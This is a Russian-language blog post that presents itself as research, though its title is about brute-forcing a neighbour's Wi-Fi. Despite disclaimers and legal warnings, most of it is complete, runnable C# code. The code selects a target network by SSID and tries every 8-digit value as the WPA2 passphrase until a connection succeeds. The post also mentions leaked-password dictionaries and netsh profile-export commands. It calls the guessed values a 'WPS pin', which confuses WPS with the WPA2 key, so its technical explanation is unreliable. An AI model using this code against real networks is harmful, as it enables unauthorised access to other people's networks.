Брутфорс соседского Wi-Fi (в исключительно исследовательских целях)
Надежные и постоянно меняющиеся пароли - это здорово. Особенно когда они меняются и на Wi-Fi роутере и WPS на нем вообще отключен. В этом посте: сколько занимает перебор WPS pin и есть ли у этого практическое применение? А еще напишем программу для брутфорса на C#
Дисклеймер: информация представленная в публикации носит сугубо исследовательский характер для рассмотрения модели угрозы "брутфорс" (подбор пароля) с целью оценки защищенности тестового стенда и не является инструкцией к противоправным действиям. Исследование проводилось на тестовом стенде, состоящим из личного оборудования, не подключенного к сети интернет. Ответственность за противоправное использование полученной информации ложится на субъекта воспроизвевшего атаку не в исследовательских целях и против оборудования других субъектов.
Итак
Самый скучный но обязательный блок статьи позади, однако стоит вспомнить и про следующие статьи УК РФ:
ст. 272 УК РФ. Неправомерный доступ к компьютерной информации
ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ
ст. 138 УК РФ. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений
ст. 159.6 УК РФ. Мошенничество в сфере компьютерной информации
Взламывать чужие Wi-Fi роутеры - это очень плохая идея.
Тем не менее, в качестве "proof of concept" попробуем воспроизвести брутфорс атаку на домашний роутер с использованием C#. Атака будет основана на использовании Native WiFi API и xml профилях.
Профили для Wi-Fi, на мой взгляд, заслуживает отдельной статьи и для меня стало большим удивлением, что существует получение профиля, например, прямо с сайта - об этом есть небольшая статья в документации Майкрософт. В кратце это работает так: xml с реквизитами для подключения подтягивается в системные настройки (а если точно, то в UWP приложение Настройки) и во всплывающем окне показывается какую сеть предлагается добавить. Как сказано в самой статье, это может быть использовано для добавления сети заранее, еще до посещения кафе/лаунджа/{you_name_it} где вещает сеть. Подробно элементы xml профиля описаны тут.
Атака будет производиться посредством генерации xml профиля в коде и его передачи в Native WiFi API - далее Windows выполнит попытку подключиться и, если удалось подобрать WPS pin, удачно использованный профиль останется в компьютере, а pin будет выведен на консоль.
Посмотреть уже существующие профили можно двумя способами: вручную и через консоль. Для ручного просмотра нужно зайти в C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces и выбрать адаптер по его Id - узнать этот Id можно при небольшом дебаге подключаемой библиотеки или перебрав вручную. Для просмотра через консоль потребуются права администратора и пара команд - этот способ более удобен для точечного вытаскивания профиля к нужной сети:
netsh wlan show profile
netsh wlan export profile name="{Insert profile name}" folder=C:\WlanProfiles
Чтобы не ошибиться со значениями и полями в xml профиле, можно сперва попытаться подключиться к атакуемой Wi-Fi сети с заведомо неправильным паролем - так Windows создаст xml файл за вас и далее останется лишь динамически подставлять пароли.
В примере xml профиль будет храниться в виде строки в коде и это не самый лучший подход к формированию xml, но его вполне хватит чтобы поиграться с попытками подключится к сети. На самом деле на сайте документации Майкрософт есть xsd схема по которой создаются xml профили, но почему-то в ней отсутствует секция "sharedKey", поэтому я решил хранить xml профиль просто строкой в коде как это описано на Stackoverflow. В целом для более "промышленного" решения можно сгенерировать классы через xsd.exe, но в конкретно этом случае придется сверяться с xml профилем атакуемой сети для поиска всех недостающих полей, так как вполне возможно что опубликованная xsd схема просто устарела.
С подобной атакой должен справиться любой Wi-Fi адаптер, но подбор пароля без стратегии и без параллелизации на несколько адаптеров займет много времени. Так перебор WPS pin одним адаптером и попыткой раз в 2 секунды может занять до 6.3 года или же до 2315 дней. Уместно будет вспомнить цитату, что "9 женщин не родят ребенка за месяц", ведь использование 9 адаптеров сократит подбор пароля до 257 дней - почти 9 месяцев :D
Шаг 1 - Подготовка решения
Для начала склониуйте проект ManagedWiFi - это обертка для доступа к сборке wlanapi.dll, которая даст доступ к Native WiFi API - последняя дает возможность просматривать состояние Wi-Fi адаптеров, сетей, и добавлять профили для подключения, что и будет использовано для воспроизведения атаки.
Здесь я отмечу, что в NuGet есть пакет ManagedWiFi, но во время подключения к Wi-Fi выпадало исключение - у меня это решилось ссылкой на скаченный проект, но может быть пакет заработает у вас с первого раза.
Далее создайте проект с консольным приложением и сделайте ссылку на проект ManagedWifi из скачанного репозитория либо добавьте одноименный пакет NuGet. Этот этап можно считать успешным, если получилось создать объект WlanClient, увидеть список адаптеров и вывести список доступных сетей:
WlanClient client = new ();
foreach (WlanClient.WlanInterface wlan in client.Interfaces)
{
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
foreach (Wlan.WlanAvailableNetwork network in networks)
{
string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);
Console.WriteLine(ssid);
}
}
Шаг 2 - профиль для Wi-Fi
Профиль будет собираться из трех составляющих: название профиля, hex значение названия SSID и WPS pin c которым будет выполняться попытка подключения, а все остальные поля возьмем из xml профиля с которым ранее пытались подключиться к аналогичной сети. Для теста попробуем подключиться к сети с защитой WPA2PSK/AES, которую нашли выше:
string key = "00000001"; // А еще сюда можно вписать заранее (не)известный пароль
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");
string profileXml = string.Format(
"<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
profileName, hex, key);
Как было сказано в самом начале, на каждую попытку будет создаваться такой xml профиль, а уже существующий профиль для атакуемой сети будет перезаписываться. Далее при вызове метода Connect, будет передаваться имя профиля по которому нужно выполнить соединение:
try
{
wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
await Task.Delay(2 * 1000);
}
catch (Exception e)
{
Console.WriteLine(e);
}
Шаг 3
Соберем все что получилось в одном месте и попробуем запустить:
using System.Text;
using NativeWifi;
// Берем первый попавшийся Wi-Fi адаптер
WlanClient client = new ();
WlanClient.WlanInterface wlan = client.Interfaces[0];
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
if (networks.Length == 0)
{
OutputExtensions.PrintRow("No networks found");
return;
}
// Отбираем сеть по её названию
Wlan.WlanAvailableNetwork network = networks
.FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == "desired_network_name");
// Подготавливаем данные для создания профиля
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");
// Перебираем значения WPS pin - максимум 8 цифр.
// Также же тут можно сделать перебор по словарю утекших паролей
for (int i = 0; i < 99999999; i++)
{
string wpsPin = $"{i}";
wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;
Console.WriteLine($"Trying pin {wpsPin}");
string profileXml = string.Format(
"<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
profileName, hex, wpsPin);
try
{
wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
// Тут задается время ожидания для попытки
// В моей конфигурации это 2 секунды, но
// время придется подбирать вручную
await Task.Delay(2 * 1000);
}
catch (Exception e)
{
Console.WriteLine(e);
}
if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)
{
Console.WriteLine($"WPS pin is {wpsPin}");
break;
}
Console.WriteLine($"WPS pin {wpsPin} did not work");
}
Вместо заключения
Как оказалось, написать программу для подбора WPS pin на C# можно, а кроме просто перебора цифр при небольших доработках можно даже перебрать пароли из файла.
Практического смысла в этой программе крайне мало, но как минимум что-то можно переиспользовать для обновления Wi-Fi профилей в корпоративных ноутбуках либо провести другой вид атаки и, например, заставить нужное устройство подключиться к "правильной" сети.
В свободном доступе давно существует aircrack-ng и при минимальных знаниях можно в разумное время подобрать пароль к сети просто следуя гайду. И помните: взламывать чужие Wi-Fi роутеры - это очень плохая идея.